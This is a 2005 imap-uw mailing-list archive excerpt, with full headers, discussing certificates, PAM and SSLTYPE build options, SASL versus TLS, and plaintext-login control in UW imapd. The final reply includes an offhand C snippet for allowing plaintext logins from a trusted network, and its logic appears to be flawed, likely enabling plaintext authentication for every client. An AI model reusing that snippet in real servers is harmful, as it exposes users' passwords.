[127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HGfTg9021972; Fri, 17 Jun 2005 09:41:29 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HGfS6V021964 for ; Fri, 17 Jun 2005 09:41:28 -0700 Received: from email.arc.nasa.gov (email.arc.nasa.gov [143.232.64.51]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HGfSPw032463 for ; Fri, 17 Jun 2005 09:41:28 -0700 Received: from [143.232.67.112] (sgdarkhelmet.arc.nasa.gov [143.232.67.112]) by email.arc.nasa.gov ( -- Info omitted by ASANI Solutions, LLC.) with ESMTP id j5HGfF323141; Fri, 17 Jun 2005 09:41:20 -0700 (PDT) Message-ID: <42B2FD29.20406@email.arc.nasa.gov> Date: Fri, 17 Jun 2005 09:41:13 -0700 From: Matt Linton User-Agent: Mozilla Thunderbird 1.0 (Macintosh/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Paul.Tedaldi@id.unizh.ch Subject: Re: [Imap-uw] Hard coded port questions References: <42B1BB0A.80403@email.arc.nasa.gov> <42B1C0DF.6030301@email.arc.nasa.gov> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: Mark Crispin , imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Paul: That's an excellent suggestion. I will give it a try to see if it works. We're supporting just about every mail client under the sun (emacs & rmail included), but if it works, it works. Paul.Tedaldi@id.unizh.ch wrote: >Still another way to solve the problem is, do not use a second imap >daemon. Generate your server certificate with CN= and >alternative names of >DNS:,DNS:server1.test.net,DNS:server2.test.net >and all alias names that may be used by clients to connect to the server. >openssl x509 allows you to do that. >We found it essential to repeat CN in the alternative names list. >All modern mailtools accept a cerificate if CN or one of the alternative >names matches. One notable exception is pine (or better the c-client >library at the pine61 level). It only tests CN and complains if it does >not match or you have used the novalidate-cert switch. Maybe Mark could >extend the code to accept the alternative names. > >Kind regards >Paul > >On Thu, 16 Jun 2005, Mark Crispin wrote: > > > >>On Thu, 16 Jun 2005, Matt Linton wrote: >> >> >>>One imap daemon can only have one signed certificate (to my knowlege). >>>However, due to creative routing and things, the requests to >>> are coming FROM as well as from >>>server1. >>> >>> >>Another way to solve the problem is to have a *.test.net certificate. >>Wildcard certificates are not deployed lightly, but at times they have >>their uses. >> >>-- Mark -- >> >>http://staff.washington.edu/mrc >>Science does not emerge from voting, party politics, or public debate. >>Si vis pacem, para bellum. >>_______________________________________________ >>Imap-uw mailing list >>Imap-uw@u.washington.edu >>https://mailman1.u.washington.edu/mailman/listinfo/imap-uw >> >> >> > >======================================================================== >Paul Tedaldi | >Informatikdienste | Email: Paul.Tedaldi@id.unizh.ch >Universitaet Zuerich | >Winterthurerstr. 190 | Tel: +41 (0)44 635 4523 >CH-8057 Zuerich | Fax: +41 (0)44 635 4505 >Switzerland | >======================================================================== > > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jun 17 10:45:50 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jun 2005 10:45:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5HHjnBw000997 for ; Fri, 17 Jun 2005 10:45:49 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HHjmv9009538 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jun 2005 10:45:49 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HHjWZm032736; Fri, 17 Jun 2005 10:45:32 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HHjVx4032724 for ; Fri, 17 Jun 2005 10:45:31 -0700 Received: from x.xs4all.nl (x.xs4all.nl [194.109.237.135]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HHjSau015874 for ; Fri, 17 Jun 2005 10:45:28 -0700 Received: from [192.168.10.5] (haydn-w.site [192.168.10.5]) by x.xs4all.nl (Postfix) with ESMTP id 350DE3CA53; Fri, 17 Jun 2005 19:45:26 +0200 (CEST) Message-ID: <42B30C36.8030306@n200.com> Date: Fri, 17 Jun 2005 19:45:26 +0200 From: Mark Brand Organization: N200 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 X-Accept-Language: en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] sasl authentication References: <42B2D1B3.4080902@n200.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu > I guess that your next question will be: "then how do I do this using > UW imapd's existing facilities?" > > What you need to do is specify what "this" means: > . use the same database for passwords for all systems? > . negotiate passwords securely? > . negotiate authentication without letting snoops steal passwords? > . etc. > > There is a way to do "this" in UW imapd, but you need to know what > "this" is because doing some "this" prevents you from doing other "this". > > It's like "The Hitchhiker's Guide to the Galaxy", where it is revealed > that the answer to the ultimate question of life, the universe, and > everything is 42. The problem is, nobody knew the question... Thanks for the explanation. Maybe I can formulate a sensible question now. I would like advice about how to do the following: -use PAM to check usernames and passwords -negotiate passwords securely -negotiate authentication without letting snoops steal passwords (Isn't this the same as the last point? -avoid having to encrypt the the whole session (imaps) Cyrus SASL with SSL/TLS is widely used for client authentication by postfix. I think I'm looking for how to do this with imapd. Mark _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jun 17 14:25:55 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jun 2005 14:25:55 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5HLPtJB015096 for ; Fri, 17 Jun 2005 14:25:55 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLPst4024704 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jun 2005 14:25:55 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLPatM008266; Fri, 17 Jun 2005 14:25:36 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLPZ46008247 for ; Fri, 17 Jun 2005 14:25:35 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLPYDu004856 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 17 Jun 2005 14:25:35 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLPXxT010694 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 17 Jun 2005 14:25:33 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLPXPN024031 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 17 Jun 2005 14:25:33 -0700 Date: Fri, 17 Jun 2005 14:25:34 -0700 (Pacific Daylight Time) From: Mark Crispin To: Mark Brand Subject: Re: [Imap-uw] sasl authentication In-Reply-To: <42B30C36.8030306@n200.com> Message-ID: References: <42B2D1B3.4080902@n200.com> <42B30C36.8030306@n200.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 17 Jun 2005, Mark Brand wrote: > I would like advice about how to do the following: > -use PAM to check usernames and passwords PAM is already set as the authentication mechanism on some of the Linux based builds (lnp, ldb, lmd, lrh, lsu) and the oxp build in Mac OS X. For other systems, add either: PASSWDTYPE=pam or, if you have the misfortune of using Solaris or other systems with a defective PAM implementation: PASSWDTYPE=pmb to the make command line. For example: make bsf PASSWDTYPE=pam make soc PASSWDTYPE=pmb Note that you have to set up imap and pop rules for PAM in /etc/pam.d. On my system, I just copied /etc/pam.d/ftpd to /etc/pam.d/imap and /etc/pam.d/pop. If you want to use some other database (e.g. LDAP) you will need to modify these files. Of course, you do have to have PAM installed on your system before you can use it. PAM is not part of UW imapd; it is a separate and completely independent package. > -negotiate passwords securely > -negotiate authentication without letting snoops steal passwords (Isn't > this the same as the last point? > -avoid having to encrypt the the whole session (imaps) The first two are the same, and the answer contradicts with the third. That is, you either uses SSL (connect on the imaps port) or use you TLS (connect on the imap port, and then negotiate STARTTLS). By default, UW imapd is set up that a client must do one or the other; it is not permitted to do a password authentication unless SSL/TLS encryption has been negotiated first. This is set by the default setting of SSLTYPE as: SSLTYPE=nopwd The non-default setting: SSLTYPE=unix builds with SSL/TLS support, but allows passwords without encryption (which is, of course, unsafe). The non-default setting: SSLTYPE=none builds without SSL/TLS support. > Cyrus SASL with SSL/TLS is widely used for client authentication by > postfix. I think I'm looking for how to do this with imapd. Hopefully, you're realizing that the equivalent is essentially already done for you; the capabilities already exist in UW imapd. It may, in fact, be done and installed on your system without you knowing it; since you would have had to build UW imapd in a non-standard way to prevent it from happening. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jun 17 14:41:00 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jun 2005 14:41:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5HLf0v6015798 for ; Fri, 17 Jun 2005 14:41:00 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLextA025621 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jun 2005 14:40:59 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLenKY009919; Fri, 17 Jun 2005 14:40:49 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLem2k009911 for ; Fri, 17 Jun 2005 14:40:48 -0700 Received: from server07.icaen.uiowa.edu (server07.icaen.uiowa.edu [128.255.17.47]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLelPm009060 for ; Fri, 17 Jun 2005 14:40:47 -0700 Received: from server11.icaen.uiowa.edu (server11.icaen.uiowa.edu [128.255.17.51]) by server07.icaen.uiowa.edu (8.13.3/8.12.9) with ESMTP id j5HLejC1028694; (envelope-from ) Fri, 17 Jun 2005 16:40:45 -0500 (CDT) Received: from d-is00.icaen.uiowa.edu ([128.255.17.30]) by server11.icaen.uiowa.edu (8.13.2/smtp-serv-1.7) with ESMTP id j5HLeijd019372 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256); (envelope-from ) Fri, 17 Jun 2005 16:40:44 -0500 (CDT) Date: Fri, 17 Jun 2005 16:40:44 -0500 (CDT) From: David B Funk To: Mark Brand Subject: Re: [Imap-uw] sasl authentication In-Reply-To: <42B30C36.8030306@n200.com> Message-ID: References: <42B2D1B3.4080902@n200.com> <42B30C36.8030306@n200.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: ClamAV version 0.83, clamav-milter version 0.83 on clamav.icaen.uiowa.edu X-Virus-Scanned: ClamAV version 0.83, clamav-milter version 0.83 on clamav.icaen.uiowa.edu X-Virus-Status: Clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 17 Jun 2005, Mark Brand wrote: [snip..] > Thanks for the explanation. Maybe I can formulate a sensible question > now. I would like advice about how to do the following: > > -use PAM to check usernames and passwords > -negotiate passwords securely > -negotiate authentication without letting snoops steal passwords (Isn't > this the same as the last point? > -avoid having to encrypt the the whole session (imaps) secure authentication negotiation and secure password negotiation are NOT necessarily the same thing. For example, a system using GSSAPI (with Kerberos-V) does not have to deal with passwords at all. There is a security server (Kerberos-KDC) who is the 'keeper of the keys' and your mail server is just an authentication "customer" of that security server. IE your mail server says "hey this user claims to be 'bill' and has provided me credentials to back up that claim. Mr security server, please help me validate these creds so I can know if that claim is believable" (details are a bit more involved, but you get the picture). Authentication is the process of validating somebody's identity claim, passwords are just one possible way to do it. If the authentication method is secure then you don't have to encrypt the whole session (unless you care about protecting the privacy of your client's e-mail reading from eavesdroppers ;). CRAM-MD5, GSSAPI, & SRP are examples of secure authentication methods. > Cyrus SASL with SSL/TLS is widely used for client authentication by > postfix. I think I'm looking for how to do this with imapd. "SSL/TLS" is a mechanism to provide a secure communications channel, it has nothing to do with authentication. However it does make it possible to use an insecure authentication method (such as clear text passwords) safely. (which is why you often hear "SSL/TLS" mentioned when talking about authentication). -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 1256 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 #include Better is not better, 'standard' is better. B{ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jun 17 14:47:52 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jun 2005 14:47:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5HLlpvt016094 for ; Fri, 17 Jun 2005 14:47:51 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLlpwW025967 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jun 2005 14:47:51 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLlb3W010747; Fri, 17 Jun 2005 14:47:37 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLkAMe010331 for ; Fri, 17 Jun 2005 14:46:10 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLk8KF011853 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 17 Jun 2005 14:46:08 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLk5Bg023105 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 17 Jun 2005 14:46:06 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HLk58S027603 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 17 Jun 2005 14:46:05 -0700 Date: Fri, 17 Jun 2005 14:46:06 -0700 (Pacific Daylight Time) From: Mark Crispin To: David B Funk Subject: Re: [Imap-uw] sasl authentication In-Reply-To: Message-ID: References: <42B2D1B3.4080902@n200.com> <42B30C36.8030306@n200.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 17 Jun 2005, David B Funk wrote: > secure authentication negotiation and secure password negotiation are > NOT necessarily the same thing. For example, a system using GSSAPI > (with Kerberos-V) does not have to deal with passwords at all. Correct. > If the authentication method is secure then you don't have to encrypt > the whole session (unless you care about protecting the privacy of > your client's e-mail reading from eavesdroppers ;). Not quite correct. There is another risk to not encrypting; the session can be seized and taken over ("hijacked") as well as being eavesdropped. There are hacker tools to do this. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jun 17 15:45:50 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jun 2005 15:45:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5HMjnfS019235 for ; Fri, 17 Jun 2005 15:45:49 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HMjmE1001700 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jun 2005 15:45:49 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HMjXF8018795; Fri, 17 Jun 2005 15:45:33 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HMjWJD018787 for ; Fri, 17 Jun 2005 15:45:32 -0700 Received: from main.gepro.cz (main.gepro.cz [195.250.144.210]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HMjTud030077 for ; Fri, 17 Jun 2005 15:45:29 -0700 Received: from localhost ([127.0.0.1] helo=main.gepro.cz ident=www-data) by main.gepro.cz with esmtp (Exim 3.35 #1 (Debian)) id 1DjPaa-0008Fu-00 for ; Sat, 18 Jun 2005 00:45:28 +0200 Received: from 84.242.67.203 (SquirrelMail authenticated user debian); by main.gepro.cz with HTTP; Sat, 18 Jun 2005 00:45:28 +0200 (CEST) Message-ID: <2064.84.242.67.203.1119048328.squirrel@main.gepro.cz> Date: Sat, 18 Jun 2005 00:45:28 +0200 (CEST) From: "Jan Kuznik" To: imap-uw@u.washington.edu User-Agent: SquirrelMail/1.4.3a X-Mailer: SquirrelMail/1.4.3a MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-2 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] uw-imapd login control too coarse X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I would like to setup a system running uw-impad and squirrelmail, both serving my users. In the first case plain text logins need to be disabled on unencrypted connection, in the second case the opposite is true and the encryption only unnecessary decreases maximum possible number of users served (squirrelmail is already secured by https). I miss a configuration option disabling plain text logins on unencrypted connections EXCEPT connections from some trusted network. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jun 17 15:58:54 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Jun 2005 15:58:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5HMwsRc020003 for ; Fri, 17 Jun 2005 15:58:54 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HMwrrM002670 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jun 2005 15:58:53 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HMwVqX020644; Fri, 17 Jun 2005 15:58:31 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HMwUW3020636 for ; Fri, 17 Jun 2005 15:58:30 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HMwT9g002167 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 17 Jun 2005 15:58:30 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HMwTYT018137 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 17 Jun 2005 15:58:29 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5HMwSgO019290 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 17 Jun 2005 15:58:29 -0700 Date: Fri, 17 Jun 2005 15:58:29 -0700 (Pacific Daylight Time) From: Mark Crispin To: Jan Kuznik Subject: Re: [Imap-uw] uw-imapd login control too coarse In-Reply-To: <2064.84.242.67.203.1119048328.squirrel@main.gepro.cz> Message-ID: References: <2064.84.242.67.203.1119048328.squirrel@main.gepro.cz> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Sat, 18 Jun 2005, Jan Kuznik wrote: > I miss a configuration option disabling plain text logins on unencrypted > connections EXCEPT connections from some trusted network. In the main() routine of imap-200?/src/imapd/imapd.c, right after the line which reads: server_init (pgmname,"imap","imaps",clkint,kodint,hupint,trmint); insert something like: #define TRUSTEDNETWORK "105.69." if (strncmp (TRUSTEDNETWORK,tcp_clientaddr (),sizeof (TRUSTEDNETWORK)) mail_parameters (NIL,SET_DISABLEPLAINTEXT,(void *) 0); Of course, if you're IPv6 or if your network address isn't at an octet boundary, you'll need a better test than the strncmp() above. The important thing is that that mail_parameters() call is how you open up plaintext authentication. The other thing that you may want to consider is work out a way for your webmail to pre-authenticate; that is, start imapd already logged in as the user. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Jun 20 02:51:59 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Jun 2005 02:51:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j5K9pwTj007845 for ; Mon, 20 Jun 2005 02:51:58 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5K9pw5q023866 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 20 Jun 2005 02:51:58 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j5K9pVSX023418; Mon, 20 Jun 2005 02:51:31 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with 